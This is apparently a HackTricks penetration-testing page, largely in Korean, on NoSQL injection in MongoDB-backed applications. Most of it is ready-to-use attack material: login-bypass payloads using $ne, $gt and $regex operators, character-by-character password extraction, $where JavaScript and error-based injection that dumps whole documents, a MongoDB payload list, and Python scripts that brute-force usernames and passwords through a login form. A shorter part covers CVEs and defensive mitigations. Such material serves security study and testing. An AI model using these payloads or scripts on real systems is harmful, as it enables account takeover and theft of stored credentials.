NoSQL injection

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Exploit

PHP에서는 전송된 파라미터를 _parameter=foo_에서 _parameter[arrName]=foo._로 변경하여 배열을 전송할 수 있다.

해당 exploits는 연산자를 추가하는 방식에 기반한다:

username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code

Basic authentication bypass

not equal ($ne) 또는 greater ($gt) 사용

#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

SQL - Mongo

query = { $where: `this.username == '${username}'` }

공격자는 admin' || 'a'=='a 같은 문자열을 입력해 이를 악용할 수 있으며, 조건을 항등식('a'=='a')으로 만족시켜 쿼리가 모든 문서를 반환하게 만듭니다. 이는 ' or 1=1-- - 같은 입력으로 SQL 쿼리를 조작하는 SQL injection 공격과 유사합니다. MongoDB에서는 ' || 1==1//, ' || 1==1%00, 또는 admin' || 'a'=='a 같은 입력으로 유사한 인젝션을 수행할 수 있습니다.

Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1//    or    ' || 1==1%00     or    admin' || 'a'=='a

길이 정보를 추출

username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...

데이터 정보 추출

in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

SQL - Mongo

/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/index.html)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found

PHP 임의 함수 실행

기본적으로 사용되는 MongoLite 라이브러리의 $func 연산자를 사용하면, this report에서처럼 임의의 함수를 실행할 수 있을 가능성이 있습니다.

"user":{"$func": "var_dump"}

https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit_auth_check_10.png

다른 collection에서 정보 가져오기

It’s possible to use $lookup to get info from a different collection. In the following example, we are reading from a different collection called users and getting the results of all the entries with a password matching a wildcard.

NOTE: $lookup and other aggregation functions are only available if the aggregate() function was used to perform the search instead of the more common find() or findOne() functions.

[
{
"$lookup": {
"from": "users",
"as": "resultado",
"pipeline": [
{
"$match": {
"password": {
"$regex": "^.*"
}
}
}
]
}
}
]

Error-Based Injection

Inject throw new Error(JSON.stringify(this))$where 절에 삽입하면 server-side JavaScript errors를 통해 full documents를 exfiltrate할 수 있습니다 (애플리케이션이 database errors를 leak해야 함). 예:

{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }

애플리케이션이 첫 번째로 실패하는 문서만 leaks하는 경우, 이미 복구한 문서를 제외하여 dump를 결정론적으로 유지하라. 마지막 leaked _id와 비교하는 것이 간단한 페이지네이터다:

{ "$where": "if (this._id > '66d5ef7d01c52a87f75e739c') { throw new Error(JSON.stringify(this)) }" }

syntax injection에서 pre/post 조건 우회

애플리케이션이 파싱하기 전에 Mongo 필터를 string으로 생성할 경우, syntax injection은 더 이상 단일 필드에만 국한되지 않으며 주변 조건들을 종종 무력화할 수 있습니다.

$where 인젝션에서는 JavaScript의 truthy 값들과 poison null bytes가 여전히 후행 절을 제거하는 데 유용합니다:

' || 1 || 'x
' || 1%00

raw JSON filter injection에서는 중복된 키가 last-key-wins 정책을 따르는 parsers에서 이전 제약을 덮어쓸 수 있습니다:

// Original filter
{"username":"<input>","role":"user"}

// Injected value of <input>
","username":{"$ne":""},"$comment":"dup-key

// Effective filter on permissive parsers
{"username":"","username":{"$ne":""},"$comment":"dup-key","role":"user"}

이 기법은 파서에 의존하며 애플리케이션이 먼저 JSON을 문자열 연결/보간(string concatenation/interpolation)으로 조립할 때에만 적용됩니다. 백엔드가 쿼리를 처음부터 끝까지 구조화된 객체(structured object)로 유지하면 적용되지 않습니다.

Recent CVEs & Real-World Exploits (2023-2025)

Rocket.Chat unauthenticated blind NoSQLi – CVE-2023-28359

Versions ≤ 6.0.0 exposed the Meteor method listEmojiCustom that forwarded a user-controlled selector object directly to find(). By injecting operators such as {"$where":"sleep(2000)||true"} an unauthenticated attacker could build a timing oracle and exfiltrate documents. The bug was patched in 6.0.1 by validating selector shape and stripping dangerous operators.

Mongoose populate().match search injection – CVE-2024-53900 & CVE-2025-23061

If an application forwards attacker-controlled objects into populate({ match: ... }), vulnerable Mongoose versions allow $where-based search injection inside the populate filter. CVE-2024-53900 covered the top-level case; CVE-2025-23061 covered a bypass where $where was nested under operators such as $or.

// Dangerous: attacker controls the full match object
Post.find().populate({ path: 'author', match: req.query.author });

전체 request 객체를 전달하는 대신 허용 목록(allow-list)을 사용하고 스칼라 값을 명시적으로 매핑하세요. Mongoose는 중첩된 연산자 객체를 $eq로 감싸는 sanitizeFilter도 지원하지만, 이는 명시적 필터 매핑을 대체하기보다는 안전장치로 간주해야 합니다:

mongoose.set('sanitizeFilter', true);

Post.find().populate({
path: 'author',
match: { email: req.query.email }
});

GraphQL → Mongo filter confusion

args.filter를 collection.find()에 직접 전달하는 Resolvers는 여전히 취약합니다:

query users($f:UserFilter){
users(filter:$f){ _id email }
}

# variables
{ "f": { "$ne": {} } }

완화 방안: $로 시작하는 키를 재귀적으로 제거하거나 허용된 연산자를 명시적으로 매핑하거나 스키마 라이브러리(Joi, Zod)로 검증하세요.

방어 치트시트 (2025 업데이트)

  1. $로 시작하는 키를 제거하거나 거부하세요; Express가 Mongo/Mongoose 앞에 있는 경우 ORM에 도달하기 전에 req.body, req.query, req.params를 정화하세요.
  2. self-hosted MongoDB에서 서버 측 JavaScript를 비활성화하세요 (--noscripting 또는 security.javascriptEnabled: false). 이렇게 하면 $where와 유사한 JS sinks를 사용할 수 없습니다.
  3. $where 대신 $expr와 typed query builders를 선호하세요.
  4. 데이터 타입을 조기에 검증하세요 (Joi/Ajv/Zod) — 스칼라가 예상되는 곳에 배열이나 객체를 허용하지 않아 [$ne] 같은 트릭을 방지하세요.
  5. GraphQL의 경우 필터 인수를 허용 목록을 통해 변환하세요; 신뢰할 수 없는 객체를 Mongo/Mongoose 필터에 스프레드하지 마세요.

MongoDB 페이로드

목록은 여기에서 확인하세요

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/index.html)//+%00
' && this.passwordzz.match(/.*/index.html)//+%00
'%20%26%26%20this.password.match(/.*/index.html)//+%00
'%20%26%26%20this.passwordzz.match(/.*/index.html)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}

Blind NoSQL 스크립트

import requests, string

alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""

while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c

Brute-force login usernames and passwords from POST login

이는 수정할 수 있는 간단한 script이지만 이전 tools도 이 작업을 수행할 수 있습니다.

import requests
import string

url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]

def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")

def get_usernames(prefix):
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames

for u in get_usernames(""):
get_password(u)

도구

참고자료

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기